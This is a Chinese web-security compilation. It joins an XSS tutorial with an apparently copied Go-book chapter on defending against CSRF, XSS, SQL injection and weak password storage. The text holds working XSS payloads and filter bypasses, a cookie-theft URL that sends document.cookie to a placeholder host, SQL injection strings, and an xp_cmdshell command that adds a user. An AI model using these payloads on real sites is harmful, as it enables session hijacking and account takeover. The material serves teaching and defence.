web 安全 & web 攻防: XSS（跨站脚本攻击）和 CSRF（跨站请求伪造）
XSS（跨站脚本攻击）和CSRF（跨站请求伪造）
Cross-site Scripting (XSS)
https://www.owasp.org/index.php/Cross-site_Scripting_(XSS)
Cross-Site Request Forgery (CSRF)
1
1
XSS的原理分析与解剖:
0×01 前言:
《xss攻击手法》一开始在互联网上资料并不多(都是现成的代码，没有从基础的开始)，直到刺的《白帽子讲WEB安全》和cn4rry的《XSS跨站脚本攻击剖析与防御》才开始好转。
我这里就不说什么xss的历史什么东西了，xss是一门又热门又不太受重视的Web攻击手法，为什么会这样呢，原因有下：
1、耗时间
2、有一定几率不成功
3、没有相应的软件来完成自动化攻击
4、前期需要基本的html、js功底，后期需要扎实的html、js、actionscript2/3.0等语言的功底
5、是一种被动的攻击手法
6、对website有http-only、crossdomian.xml没有用但是这些并没有影响黑客对此漏洞的偏爱，原因不需要多，只需要一个
Xss几乎每个网站都存在，google、baidu、360等都存在。
0×02 原理:
首先我们现在本地搭建个PHP环境(可以使用phpstudy安装包安装)，然后在index.php文件里写入如下代码:
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>XSS原理重现</title>
</head>
<body>
<form action="" method="get">
<input type="text" name="xss_input">
<input type="submit">
</form>
<hr>
<?php
$xss = $_GET['xss_input'];
echo '你输入的字符为<br>'.$xss;
?>
</body>
</html>然后，你会在页面看到这样的页面
我们试着输入abcd123，得到的结果为
我们在看看源代码
我们输入的字符串被原封不动的输出来了，那这里我们提出来一个假设，假设我们在搜索框输入<script>alert('xss')</script>会出现什么呢？如果按照上面的例子来说，它应该存在第12行的<br>与</boby>之间，变成<br><script>alert('xss')</script></boby>，那应该会弹出对话框。
既然假设提出来，那我们来实现下这个假设成不成立吧。
我们输入<script>alert('xss')</script>，得到的页面为
成功弹窗，这个时候基本上就可以确定存在xss漏洞。
我们在看看源代码
看来，我们的假设成功了，这节就说说XSS的原理，下面几节说说xss的构造和利用
0×03 xss利用输出的环境来构造代码 :
上节说了xss的原理，但是我们的输出点不一在<br>和</boby>里，可以出现在html标签的属性里，或者其他标签里面。所以这节很重要，因为不一定 当你输入
<script>alert('xss')</script>就会弹窗。
先贴出代码:
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>XSS利用输出的环境来构造代码</title>
</head>
<body>
<center>
<h6>把我们输入的字符串 输出到input里的value属性里</h6>
<form action="" method="get">
<h6>请输入你想显现的字符串</h6>
<input type="text" name="xss_input_value" value="输入"><br>
<input type="submit">
</form>
<hr>
<?php
$xss = $_GET['xss_input_value'];
if(isset($xss)){
echo '<input type="text" value="'.$xss.'">';
}else{
echo '<input type="type" value="输出">';
}
?>
</center>
</body>
</html>下面是代码的页面
这段代码的作用是把第一个输入框的字符串，输出到第二个输入框，我们输入1，那么第二个input里的value值就是1，下面是页面的截图和源代码的截图(这里我输入<script>alert('xss')</script>来测试)
明显的可以看到，并没有弹出对话框，大家可能会疑惑为什么没有弹窗呢，我们来看看源代码
我们看到我们输入的字符串被输出到第15行input标签里的value属性里面，被当成value里的值来显现出来，所以并没有弹窗，这时候我们该怎么办呢？聪明的人已经发现了可以在<script>alert('xss')</script>前面加个">来闭合input标签。所以应该得到的结果为
成功弹窗了，我们在看看这时的页面
看到后面有第二个input输入框后面跟有">字符串，为什么会这样呢，我们来看看源代码
这时可以看到我们构造的代码里面有两个">，第一个">是为了闭合input标签，所以第二个">就被抛弃了，因为html的容错性高，所以并没有像php那样出现错误，而是直接把多余的字符串来输出了，有的人是个完美主义者，不喜欢有多余的字符串被输出，这时该怎么办呢？
这里我问大家一个问题，我之前说的xss代码里，为什么全是带有标签的。难道就不能不带标签么？！答：当然可以。既然可以不用标签，那我们就用标签里的属性来构造XSS，这样的话，xss代码又少，又不会有多余的字符串被输出来。
还是这个环境，但是不能使用标签，你应该怎么做。想想input里有什么属性可以调用js，html学的好的人，应该知道了，on事件，对的。我们可以用on事件来进行弹窗，比如这个xss代码 我们可以写成" onclick="alert('xss')
这时，我们在来试试，页面会发生什么样的变化吧。
没有看到弹窗啊，失败了么？答案当然是错误的，因为onclick是鼠标点击事件，也就是说当你的鼠标点击第二个input输入框的时候，就会触发onclick事件，然后执行alert('xss')代码。我们来试试看
当我点击后，就出现了弹窗，这时我们来看看源代码把
第15行，value值为空，当鼠标点击时，就会弹出对话框。这里可能就会有人问了，如果要点击才会触发，那不是很麻烦么，成功率不就又下降了么。我来帮你解答这个问题，on事件不止onclick这一个，还有很多，如果你想不需要用户完成什么动作就可以触发的话，i可以把onclick改成
Onmousemove 当鼠标移动就触发
Onload 当页面加载完成后触发
还有很多，我这里就不一一说明了，有兴趣的朋友可以自行查询下。
别以为就这样结束了，还有一类环境不能用上述的方法，
那就是如果在<textarea>标签里呢？！或者其他优先级比script高的呢？
就下面这样
这时我们该怎么办呢？既然前面都说了闭合属性和闭合标签了，那能不能闭合完整的标签呢，答案是肯定的。我们可以输入</textarea><script>alert('xss')</script>就可以实现弹窗了
0×04 过滤的解决办法
假如说网站禁止过滤了script 这时该怎么办呢，记住一句话，这是我总结出来的“xss就是在页面执行你想要的js”不用管那么多，只要能运行我们的js就OK，比如用img标签或者a标签。我们可以这样写
<img scr=1 onerror=alert('xss')>当找不到图片名为1的文件时，执行alert('xss')
<a href=javascrip:alert('xss')>s</a> 点击s时运行alert('xss')
<iframe src=javascript:alert('xss');height=0 width=0 /><iframe>利用iframe的scr来弹窗
<img src="1" onerror=eval("\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29")></img>过滤了alert来执行弹窗等等有很多的方法，不要把思想总局限于一种上面，记住一句话“xss就是在页面执行你想要的js”其他的管他去。(当然有的时候还有管他…)
0×05 xss的利用
说了那么多，大家可能都以为xss就是弹窗，其实错了，弹窗只是测试xss的存在性和使用性。
这时我们要插入js代码了，怎么插呢？
你可以这样
<script scr="js_url"></script>也可以这样
<img src=x onerror=appendChild(createElement('script')).src='js_url' />各种姿势，各种插，只要鞥运行我们的js就OK。那运行我们的js有什么用呢？
Js可以干很多的事，可以获取cookies(对http-only没用)、控制用户的动作(发帖、私信什么的)等等。
比如我们在网站的留言区输入<script scr="js_url"></script>当管理员进后台浏览留言的时候，就会触发，然后管理员的cookies和后台地址还有管理员浏览器版本等等你都可以获取到了，再用“桂林老兵cookie欺骗工具”来更改你的cookies，就可以不用输入账号 密码 验证码 就可以以管理员的方式来进行登录了。
至于不会js的怎么写js代码呢，放心网上有很多xss平台，百度一下就可以看到了。页面是傻瓜式的操作，这里就不再过多的说明了。
有兴趣的朋友，下面是cn4rry给我的几个xss平台，大家可以自己钻研与研究，也可以自己搭建
http://pan.baidu.com/s/1jG418Aq（8.13日更新）
在发布此文章的时候，我特地和cn4rry谈了一下，得到的结果是，我会继续写这个系列的。当我把这个doc发给cn4rry的时候，他就直接来句“嗯 写的比较基础”，我本来的打算是写一个xss入门的就可以了，我只是感觉 现在网上的文章从简单开始介绍xss的比较少，都是在书里有
所以 我想在网上把他讲的细点 xss入门就可以了，后面的路 就可以自己摸索了
但是和他谈过后，感觉还是要继续写下去，因为“xss盲打”“xss编码绕过”“fuzzing xss”等等，如果是自己慢慢琢磨的话，需要较长的时间，所以我打算每过一段时间就会推出下一个xss的文章，写个系列出来。
1
1
https://github.com/astaxie/build-web-application-with-golang/blob/master/zh/09.0.md
9 安全与加密
无论是开发Web应用的开发者还是企图利用Web应用漏洞的攻击者，对于Web程序安全这个话题都给予了越来越多的关注。特别是最近CSDN密码泄露事件，更是让我们对Web安全这个话题更加重视，所有人都谈密码色变，都开始检测自己的系统是否存在漏洞。那么我们作为一名Go程序的开发者，一定也需要知道我们的应用程序随时会成为众多攻击者的目标，并提前做好防范的准备。
很多Web应用程序中的安全问题都是由于轻信了第三方提供的数据造成的。比如对于用户的输入数据，在对其进行验证之前都应该将其视为不安全的数据。如果直接把这些不安全的数据输出到客户端，就可能造成跨站脚本攻击(XSS)的问题。如果把不安全的数据用于数据库查询，那么就可能造成SQL注入问题，我们将会在9.3、9.4小节介绍如何避免这些问题。
在使用第三方提供的数据，包括用户提供的数据时，首先检验这些数据的合法性非常重要，这个过程叫做过滤，我们将在9.2小节介绍如何保证对所有输入的数据进行过滤处理。
过滤输入和转义输出并不能解决所有的安全问题，我们将会在9.1讲解的CSRF攻击，会导致受骗者发送攻击者指定的请求从而造成一些破坏。
与安全加密相关的，能够增强我们的Web应用程序的强大手段就是加密，CSDN泄密事件就是因为密码保存的是明文，使得攻击拿手库之后就可以直接实施一些破坏行为了。不过，和其他工具一样，加密手段也必须运用得当。我们将在9.5小节介绍如何存储密码，如何让密码存储的安全。
加密的本质就是扰乱数据，某些不可恢复的数据扰乱我们称为单向加密或者散列算法。另外还有一种双向加密方式，也就是可以对加密后的数据进行解密。我们将会在9.6小节介绍如何实现这种双向加密方式。
目录
9.1 预防CSRF攻击
什么是CSRF
CSRF（Cross-site request forgery），中文名称：跨站请求伪造，也被称为：one click attack/session riding，缩写为：CSRF/XSRF。
那么CSRF到底能够干嘛呢？你可以这样简单的理解：攻击者可以盗用你的登陆信息，以你的身份模拟发送各种请求。攻击者只要借助少许的社会工程学的诡计，例如通过QQ等聊天软件发送的链接(有些还伪装成短域名，用户无法分辨)，攻击者就能迫使Web应用的用户去执行攻击者预设的操作。例如，当用户登录网络银行去查看其存款余额，在他没有退出时，就点击了一个QQ好友发来的链接，那么该用户银行帐户中的资金就有可能被转移到攻击者指定的帐户中。
所以遇到CSRF攻击时，将对终端用户的数据和操作指令构成严重的威胁；当受攻击的终端用户具有管理员帐户的时候，CSRF攻击将危及整个Web应用程序。
CSRF的原理
下图简单阐述了CSRF攻击的思想
图9.1 CSRF的攻击过程
从上图可以看出，要完成一次CSRF攻击，受害者必须依次完成两个步骤 ：
- 1.登录受信任网站A，并在本地生成Cookie 。
- 2.在不退出A的情况下，访问危险网站B。
看到这里，读者也许会问：“如果我不满足以上两个条件中的任意一个，就不会受到CSRF的攻击”。是的，确实如此，但你不能保证以下情况不会发生：
- 你不能保证你登录了一个网站后，不再打开一个tab页面并访问另外的网站，特别现在浏览器都是支持多tab的。
- 你不能保证你关闭浏览器了后，你本地的Cookie立刻过期，你上次的会话已经结束。
- 上图中所谓的攻击网站，可能是一个存在其他漏洞的可信任的经常被人访问的网站。
因此对于用户来说很难避免在登陆一个网站之后不点击一些链接进行其他操作，所以随时可能成为CSRF的受害者。
CSRF攻击主要是因为Web的隐式身份验证机制，Web的身份验证机制虽然可以保证一个请求是来自于某个用户的浏览器，但却无法保证该请求是用户批准发送的。
如何预防CSRF
过上面的介绍，读者是否觉得这种攻击很恐怖，意识到恐怖是个好事情，这样会促使你接着往下看如何改进和防止类似的漏洞出现。
CSRF的防御可以从服务端和客户端两方面着手，防御效果是从服务端着手效果比较好，现在一般的CSRF防御也都在服务端进行。
服务端的预防CSRF攻击的方式方法有多种，但思想上都是差不多的，主要从以下2个方面入手：
- 1、正确使用GET,POST和Cookie；
- 2、在非GET请求中增加伪随机数；
我们上一章介绍过REST方式的Web应用，一般而言，普通的Web应用都是以GET、POST为主，还有一种请求是Cookie方式。我们一般都是按照如下方式设计应用：
1、GET常用在查看，列举，展示等不需要改变资源属性的时候；
2、POST常用在下达订单，改变一个资源的属性或者做其他一些事情；
接下来我就以Go语言来举例说明，如何限制对资源的访问方法：
mux.Get("/user/:uid", getuser)
mux.Post("/user/:uid", modifyuser)这样处理后，因为我们限定了修改只能使用POST，当GET方式请求时就拒绝响应，所以上面图示中GET方式的CSRF攻击就可以防止了，但这样就能全部解决问题了吗？当然不是，因为POST也是可以模拟的。
因此我们需要实施第二步，在非GET方式的请求中增加随机数，这个大概有三种方式来进行：
- 为每个用户生成一个唯一的cookie token，所有表单都包含同一个伪随机值，这种方案最简单，因为攻击者不能获得第三方的Cookie(理论上)，所以表单中的数据也就构造失败，但是由于用户的Cookie很容易由于网站的XSS漏洞而被盗取，所以这个方案必须要在没有XSS的情况下才安全。
- 每个请求使用验证码，这个方案是完美的，因为要多次输入验证码，所以用户友好性很差，所以不适合实际运用。
- 不同的表单包含一个不同的伪随机值，我们在4.4小节介绍“如何防止表单多次递交”时介绍过此方案，复用相关代码，实现如下：
生成随机数token
h := md5.New()
io.WriteString(h, strconv.FormatInt(crutime, 10))
io.WriteString(h, "ganraomaxxxxxxxxx")
token := fmt.Sprintf("%x", h.Sum(nil)) t, _ := template.ParseFiles("login.gtpl")
t.Execute(w, token)输出token
<input type="hidden" name="token" value="{{.}}">验证token
r.ParseForm()
token := r.Form.Get("token")
if token != "" {
//验证token的合法性
} else {
//不存在token报错
}这样基本就实现了安全的POST，但是也许你会说如果破解了token的算法呢，按照理论上是，但是实际上破解是基本不可能的，因为有人曾计算过，暴力破解该串大概需要2的11次方时间。
总结
跨站请求伪造，即CSRF，是一种非常危险的Web安全威胁，它被Web安全界称为“沉睡的巨人”，其威胁程度由此“美誉”便可见一斑。本小节不仅对跨站请求伪造本身进行了简单介绍，还详细说明造成这种漏洞的原因所在，然后以此提了一些防范该攻击的建议，希望对读者编写安全的Web应用能够有所启发。
9.2 确保输入过滤
过滤用户数据是Web应用安全的基础。它是验证数据合法性的过程。通过对所有的输入数据进行过滤，可以避免恶意数据在程序中被误信或误用。大多数Web应用的漏洞都是因为没有对用户输入的数据进行恰当过滤所引起的。
我们介绍的过滤数据分成三个步骤：
- 1、识别数据，搞清楚需要过滤的数据来自于哪里
- 2、过滤数据，弄明白我们需要什么样的数据
- 3、区分已过滤及被污染数据，如果存在攻击数据那么保证过滤之后可以让我们使用更安全的数据
识别数据
“识别数据”作为第一步是因为在你不知道“数据是什么，它来自于哪里”的前提下，你也就不能正确地过滤它。这里的数据是指所有源自非代码内部提供的数据。例如:所有来自客户端的数据，但客户端并不是唯一的外部数据源，数据库和第三方提供的接口数据等也可以是外部数据源。
由用户输入的数据我们通过Go非常容易识别，Go通过
r.ParseForm之后，把用户POST和GET的数据全部放在了r.Form里面。其它的输入要难识别得多，例如，r.Header中的很多元素是由客户端所操纵的。常常很难确认其中的哪些元素组成了输入，所以，最好的方法是把里面所有的数据都看成是用户输入。(例如r.Header.Get("Accept-Charset")这样的也看做是用户输入,虽然这些大多数是浏览器操纵的)过滤数据
在知道数据来源之后，就可以过滤它了。过滤是一个有点正式的术语，它在平时表述中有很多同义词，如验证、清洁及净化。尽管这些术语表面意义不同，但它们都是指的同一个处理：防止非法数据进入你的应用。
过滤数据有很多种方法，其中有一些安全性较差。最好的方法是把过滤看成是一个检查的过程，在你使用数据之前都检查一下看它们是否是符合合法数据的要求。而且不要试图好心地去纠正非法数据，而要让用户按你制定的规则去输入数据。历史证明了试图纠正非法数据往往会导致安全漏洞。这里举个例子：“最近建设银行系统升级之后，如果密码后面两位是0，只要输入前面四位就能登录系统”，这是一个非常严重的漏洞。
过滤数据主要采用如下一些库来操作：
- strconv包下面的字符串转化相关函数，因为从Request中的
r.Form返回的是字符串，而有些时候我们需要将之转化成整/浮点数，Atoi、ParseBool、ParseFloat、ParseInt等函数就可以派上用场了。- string包下面的一些过滤函数
Trim、ToLower、ToTitle等函数，能够帮助我们按照指定的格式获取信息。- regexp包用来处理一些复杂的需求，例如判定输入是否是Email、生日之类。
过滤数据除了检查验证之外，在特殊时候，还可以采用白名单。即假定你正在检查的数据都是非法的，除非能证明它是合法的。使用这个方法，如果出现错误，只会导致把合法的数据当成是非法的，而不会是相反，尽管我们不想犯任何错误，但这样总比把非法数据当成合法数据要安全得多。
区分过滤数据
如果完成了上面的两步，数据过滤的工作就基本完成了，但是在编写Web应用的时候我们还需要区分已过滤和被污染数据，因为这样可以保证过滤数据的完整性，而不影响输入的数据。我们约定把所有经过过滤的数据放入一个叫全局的Map变量中(CleanMap)。这时需要用两个重要的步骤来防止被污染数据的注入：
- 每个请求都要初始化CleanMap为一个空Map。
- 加入检查及阻止来自外部数据源的变量命名为CleanMap。
接下来，让我们通过一个例子来巩固这些概念，请看下面这个表单
<form action="/whoami" method="POST">
我是谁:
<select name="name">
<option value="astaxie">astaxie</option>
<option value="herry">herry</option>
<option value="marry">marry</option>
</select>
<input type="submit" />
</form>在处理这个表单的编程逻辑中，非常容易犯的错误是认为只能提交三个选择中的一个。其实攻击者可以模拟POST操作，递交
name=attack这样的数据，所以在此时我们需要做类似白名单的处理r.ParseForm()
name := r.Form.Get("name")
CleanMap := make(map[string]interface{}, 0)
if name == "astaxie" || name == "herry" || name == "marry" {
CleanMap["name"] = name
}上面代码中我们初始化了一个CleanMap的变量，当判断获取的name是
astaxie、herry、marry三个中的一个之后 ，我们把数据存储到了CleanMap之中，这样就可以确保CleanMap["name"]中的数据是合法的，从而在代码的其它部分使用它。当然我们还可以在else部分增加非法数据的处理，一种可能是再次显示表单并提示错误。但是不要试图为了友好而输出被污染的数据。上面的方法对于过滤一组已知的合法值的数据很有效，但是对于过滤有一组已知合法字符组成的数据时就没有什么帮助。例如，你可能需要一个用户名只能由字母及数字组成：
r.ParseForm()
username := r.Form.Get("username")
CleanMap := make(map[string]interface{}, 0)
if ok, _ := regexp.MatchString("^[a-zA-Z0-9].$", username); ok {
CleanMap["username"] = username
}总结
数据过滤在Web安全中起到一个基石的作用，大多数的安全问题都是由于没有过滤数据和验证数据引起的，例如前面小节的CSRF攻击，以及接下来将要介绍的XSS攻击、SQL注入等都是没有认真地过滤数据引起的，因此我们需要特别重视这部分的内容。
9.3 避免XSS攻击
随着互联网技术的发展，现在的Web应用都含有大量的动态内容以提高用户体验。所谓动态内容，就是应用程序能够根据用户环境和用户请求，输出相应的内容。动态站点会受到一种名为“跨站脚本攻击”（Cross Site Scripting, 安全专家们通常将其缩写成 XSS）的威胁，而静态站点则完全不受其影响。
什么是XSS
XSS攻击：跨站脚本攻击(Cross-Site Scripting)，为了不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆，故将跨站脚本攻击缩写为XSS。XSS是一种常见的web安全漏洞，它允许攻击者将恶意代码植入到提供给其它用户使用的页面中。不同于大多数攻击(一般只涉及攻击者和受害者)，XSS涉及到三方，即攻击者、客户端与Web应用。XSS的攻击目标是为了盗取存储在客户端的cookie或者其他网站用于识别客户端身份的敏感信息。一旦获取到合法用户的信息后，攻击者甚至可以假冒合法用户与网站进行交互。
XSS通常可以分为两大类：一类是存储型XSS，主要出现在让用户输入数据，供其他浏览此页的用户进行查看的地方，包括留言、评论、博客日志和各类表单等。应用程序从数据库中查询数据，在页面中显示出来，攻击者在相关页面输入恶意的脚本数据后，用户浏览此类页面时就可能受到攻击。这个流程简单可以描述为:恶意用户的Html输入Web程序->进入数据库->Web程序->用户浏览器。另一类是反射型XSS，主要做法是将脚本代码加入URL地址的请求参数里，请求参数进入程序后在页面直接输出，用户点击类似的恶意链接就可能受到攻击。
XSS目前主要的手段和目的如下：
- 盗用cookie，获取敏感信息。
- 利用植入Flash，通过crossdomain权限设置进一步获取更高权限；或者利用Java等得到类似的操作。
- 利用iframe、frame、XMLHttpRequest或上述Flash等方式，以（被攻击者）用户的身份执行一些管理动作，或执行一些如:发微博、加好友、发私信等常规操作，前段时间新浪微博就遭遇过一次XSS。
- 利用可被攻击的域受到其他域信任的特点，以受信任来源的身份请求一些平时不允许的操作，如进行不当的投票活动。
- 在访问量极大的一些页面上的XSS可以攻击一些小型网站，实现DDoS攻击的效果
XSS的原理
Web应用未对用户提交请求的数据做充分的检查过滤，允许用户在提交的数据中掺入HTML代码(最主要的是“>”、“<”)，并将未经转义的恶意代码输出到第三方用户的浏览器解释执行，是导致XSS漏洞的产生原因。
接下来以反射性XSS举例说明XSS的过程：现在有一个网站，根据参数输出用户的名称，例如访问url：
http://127.0.0.1/?name=astaxie，就会在浏览器输出如下信息：hello astaxie如果我们传递这样的url：
http://127.0.0.1/?name=<script>alert('astaxie,xss')</script>,这时你就会发现浏览器跳出一个弹出框，这说明站点已经存在了XSS漏洞。那么恶意用户是如何盗取Cookie的呢？与上类似，如下这样的url：http://127.0.0.1/?name=<script>document.location.href='http://www.xxx.com/cookie?'+document.cookie</script>，这样就可以把当前的cookie发送到指定的站点：www.xxx.com。你也许会说，这样的URL一看就有问题，怎么会有人点击？，是的，这类的URL会让人怀疑，但如果使用短网址服务将之缩短，你还看得出来么？攻击者将缩短过后的url通过某些途径传播开来，不明真相的用户一旦点击了这样的url，相应cookie数据就会被发送事先设定好的站点，这样子就盗得了用户的cookie信息，然后就可以利用Websleuth之类的工具来检查是否能盗取那个用户的账户。更加详细的关于XSS的分析大家可以参考这篇叫做《新浪微博XSS事件分析》的文章。
如何预防XSS
答案很简单，坚决不要相信用户的任何输入，并过滤掉输入中的所有特殊字符。这样就能消灭绝大部分的XSS攻击。
目前防御XSS主要有如下几种方式：
过滤特殊字符
避免XSS的方法之一主要是将用户所提供的内容进行过滤，Go语言提供了HTML的过滤函数：
text/template包下面的HTMLEscapeString、JSEscapeString等函数
使用HTTP头指定类型
w.Header().Set("Content-Type","text/javascript")这样就可以让浏览器解析javascript代码，而不会是html输出。
总结
XSS漏洞是相当有危害的，在开发Web应用的时候，一定要记住过滤数据，特别是在输出到客户端之前，这是现在行之有效的防止XSS的手段。
9.4 避免SQL注入
什么是SQL注入
SQL注入攻击（SQL Injection），简称注入攻击，是Web开发中最常见的一种安全漏洞。可以用它来从数据库获取敏感信息，或者利用数据库的特性执行添加用户，导出文件等一系列恶意操作，甚至有可能获取数据库乃至系统用户最高权限。
而造成SQL注入的原因是因为程序没有有效过滤用户的输入，使攻击者成功的向服务器提交恶意的SQL查询代码，程序在接收后错误的将攻击者的输入作为查询语句的一部分执行，导致原始的查询逻辑被改变，额外的执行了攻击者精心构造的恶意代码。
SQL注入实例
很多Web开发者没有意识到SQL查询是可以被篡改的，从而把SQL查询当作可信任的命令。殊不知，SQL查询是可以绕开访问控制，从而绕过身份验证和权限检查的。更有甚者，有可能通过SQL查询去运行主机系统级的命令。
下面将通过一些真实的例子来详细讲解SQL注入的方式。
考虑以下简单的登录表单：
<form action="/login" method="POST">
<p>Username: <input type="text" name="username" /></p>
<p>Password: <input type="password" name="password" /></p>
<p><input type="submit" value="登陆" /></p>
</form>我们的处理里面的SQL可能是这样的：
username:=r.Form.Get("username")
password:=r.Form.Get("password")
sql:="SELECT * FROM user WHERE username='"+username+"' AND password='"+password+"'"如果用户的输入的用户名如下，密码任意
myuser' or 'foo' = 'foo' --那么我们的SQL变成了如下所示：
SELECT * FROM user WHERE username='myuser' or 'foo'=='foo' --'' AND password='xxx'在SQL里面
--是注释标记，所以查询语句会在此中断。这就让攻击者在不知道任何合法用户名和密码的情况下成功登录了。对于MSSQL还有更加危险的一种SQL注入，就是控制系统，下面这个可怕的例子将演示如何在某些版本的MSSQL数据库上执行系统命令。
sql:="SELECT * FROM products WHERE name LIKE '%"+prod+"%'"
Db.Exec(sql)如果攻击提交
a%' exec master..xp_cmdshell 'net user test testpass /ADD' --作为变量 prod的值，那么sql将会变成sql:="SELECT * FROM products WHERE name LIKE '%a%' exec master..xp_cmdshell 'net user test testpass /ADD'--%'"MSSQL服务器会执行这条SQL语句，包括它后面那个用于向系统添加新用户的命令。如果这个程序是以sa运行而 MSSQLSERVER服务又有足够的权限的话，攻击者就可以获得一个系统帐号来访问主机了。
虽然以上的例子是针对某一特定的数据库系统的，但是这并不代表不能对其它数据库系统实施类似的攻击。针对这种安全漏洞，只要使用不同方法，各种数据库都有可能遭殃。
如何预防SQL注入
也许你会说攻击者要知道数据库结构的信息才能实施SQL注入攻击。确实如此，但没人能保证攻击者一定拿不到这些信息，一旦他们拿到了，数据库就存在泄露的危险。如果你在用开放源代码的软件包来访问数据库，比如论坛程序，攻击者就很容易得到相关的代码。如果这些代码设计不良的话，风险就更大了。目前Discuz、phpwind、phpcms等这些流行的开源程序都有被SQL注入攻击的先例。
这些攻击总是发生在安全性不高的代码上。所以，永远不要信任外界输入的数据，特别是来自于用户的数据，包括选择框、表单隐藏域和 cookie。就如上面的第一个例子那样，就算是正常的查询也有可能造成灾难。
SQL注入攻击的危害这么大，那么该如何来防治呢?下面这些建议或许对防治SQL注入有一定的帮助。
- 严格限制Web应用的数据库的操作权限，给此用户提供仅仅能够满足其工作的最低权限，从而最大限度的减少注入攻击对数据库的危害。
- 检查输入的数据是否具有所期望的数据格式，严格限制变量的类型，例如使用regexp包进行一些匹配处理，或者使用strconv包对字符串转化成其他基本类型的数据进行判断。
- 对进入数据库的特殊字符（'"\尖括号&*;等）进行转义处理，或编码转换。Go 的
text/template包里面的HTMLEscapeString函数可以对字符串进行转义处理。- 所有的查询语句建议使用数据库提供的参数化查询接口，参数化的语句使用参数而不是将用户输入变量嵌入到SQL语句中，即不要直接拼接SQL语句。例如使用
database/sql里面的查询函数Prepare和Query，或者Exec(query string, args ...interface{})。- 在应用发布之前建议使用专业的SQL注入检测工具进行检测，以及时修补被发现的SQL注入漏洞。网上有很多这方面的开源工具，例如sqlmap、SQLninja等。
- 避免网站打印出SQL错误信息，比如类型错误、字段不匹配等，把代码里的SQL语句暴露出来，以防止攻击者利用这些错误信息进行SQL注入。
总结
通过上面的示例我们可以知道，SQL注入是危害相当大的安全漏洞。所以对于我们平常编写的Web应用，应该对于每一个小细节都要非常重视，细节决定命运，生活如此，编写Web应用也是这样。
9.5 存储密码
过去一段时间以来, 许多的网站遭遇用户密码数据泄露事件, 这其中包括*的互联网企业–Linkedin, 国内诸如CSDN，该事件横扫整个国内互联网，随后又爆出多玩游戏800万用户资料被泄露，另有传言人人网、开心网、天涯社区、世纪佳缘、百合网等社区都有可能成为黑客下一个目标。层出不穷的类似事件给用户的网上生活造成巨大的影响，人人自危，因为人们往往习惯在不同网站使用相同的密码，所以一家“暴库”，全部遭殃。
那么我们作为一个Web应用开发者，在选择密码存储方案时, 容易掉入哪些陷阱, 以及如何避免这些陷阱?
普通方案
目前用的最多的密码存储方案是将明文密码做单向哈希后存储，单向哈希算法有一个特征：无法通过哈希后的摘要(digest)恢复原始数据，这也是“单向”二字的来源。常用的单向哈希算法包括SHA-256, SHA-1, MD5等。
Go语言对这三种加密算法的实现如下所示：
//import "crypto/sha256"
h := sha256.New()
io.WriteString(h, "His money is twice tainted: 'taint yours and 'taint mine.")
fmt.Printf("% x", h.Sum(nil)) //import "crypto/sha1"
h := sha1.New()
io.WriteString(h, "His money is twice tainted: 'taint yours and 'taint mine.")
fmt.Printf("% x", h.Sum(nil)) //import "crypto/md5"
h := md5.New()
io.WriteString(h, "需要加密的密码")
fmt.Printf("%x", h.Sum(nil))单向哈希有两个特性：
- 1）同一个密码进行单向哈希，得到的总是唯一确定的摘要。
- 2）计算速度快。随着技术进步，一秒钟能够完成数十亿次单向哈希计算。
结合上面两个特点，考虑到多数人所使用的密码为常见的组合，攻击者可以将所有密码的常见组合进行单向哈希，得到一个摘要组合, 然后与数据库中的摘要进行比对即可获得对应的密码。这个摘要组合也被称为
rainbow table。因此通过单向加密之后存储的数据，和明文存储没有多大区别。因此，一旦网站的数据库泄露，所有用户的密码本身就大白于天下。
进阶方案
通过上面介绍我们知道黑客可以用
rainbow table来破解哈希后的密码，很大程度上是因为加密时使用的哈希算法是公开的。如果黑客不知道加密的哈希算法是什么，那他也就无从下手了。一个直接的解决办法是，自己设计一个哈希算法。然而，一个好的哈希算法是很难设计的——既要避免碰撞，又不能有明显的规律，做到这两点要比想象中的要困难很多。因此实际应用中更多的是利用已有的哈希算法进行多次哈希。
但是单纯的多次哈希，依然阻挡不住黑客。两次 MD5、三次 MD5之类的方法，我们能想到，黑客自然也能想到。特别是对于一些开源代码，这样哈希更是相当于直接把算法告诉了黑客。
没有攻不破的盾，但也没有折不断的矛。现在安全性比较好的网站，都会用一种叫做“加盐”的方式来存储密码，也就是常说的 “salt”。他们通常的做法是，先将用户输入的密码进行一次MD5（或其它哈希算法）加密；将得到的 MD5 值前后加上一些只有管理员自己知道的随机串，再进行一次MD5加密。这个随机串中可以包括某些固定的串，也可以包括用户名（用来保证每个用户加密使用的密钥都不一样）。
//import "crypto/md5"
//假设用户名abc，密码123456
h := md5.New()
io.WriteString(h, "需要加密的密码") //pwmd5等于e10adc3949ba59abbe56e057f20f883e
pwmd5 :=fmt.Sprintf("%x", h.Sum(nil)) //指定两个 salt： salt1 = @#$% salt2 = ^&*()
salt1 := "@#$%"
salt2 := "^&*()" //salt1+用户名+salt2+MD5拼接
io.WriteString(h, salt1)
io.WriteString(h, "abc")
io.WriteString(h, salt2)
io.WriteString(h, pwmd5) last :=fmt.Sprintf("%x", h.Sum(nil))在两个salt没有泄露的情况下，黑客如果拿到的是最后这个加密串，就几乎不可能推算出原始的密码是什么了。
专家方案
上面的进阶方案在几年前也许是足够安全的方案，因为攻击者没有足够的资源建立这么多的
rainbow table。 但是，时至今日，因为并行计算能力的提升，这种攻击已经完全可行。怎么解决这个问题呢？只要时间与资源允许，没有破译不了的密码，所以方案是:故意增加密码计算所需耗费的资源和时间，使得任何人都不可获得足够的资源建立所需的
rainbow table。这类方案有一个特点，算法中都有个因子，用于指明计算密码摘要所需要的资源和时间，也就是计算强度。计算强度越大，攻击者建立
rainbow table越困难，以至于不可继续。这里推荐
scrypt方案，scrypt是由著名的FreeBSD黑客Colin Percival为他的备份服务Tarsnap开发的。目前Go语言里面支持的库http://code.google.com/p/go/source/browse?repo=crypto#hg%2Fscrypt
dk := scrypt.Key([]byte("some password"), []byte(salt), 16384, 8, 1, 32)通过上面的的方法可以获取唯一的相应的密码值，这是目前为止最难破解的。
总结
看到这里，如果你产生了危机感，那么就行动起来：
- 1）如果你是普通用户，那么我们建议使用LastPass进行密码存储和生成，对不同的网站使用不同的密码；
- 2）如果你是开发人员， 那么我们强烈建议你采用专家方案进行密码存储。
9.6 加密和解密数据
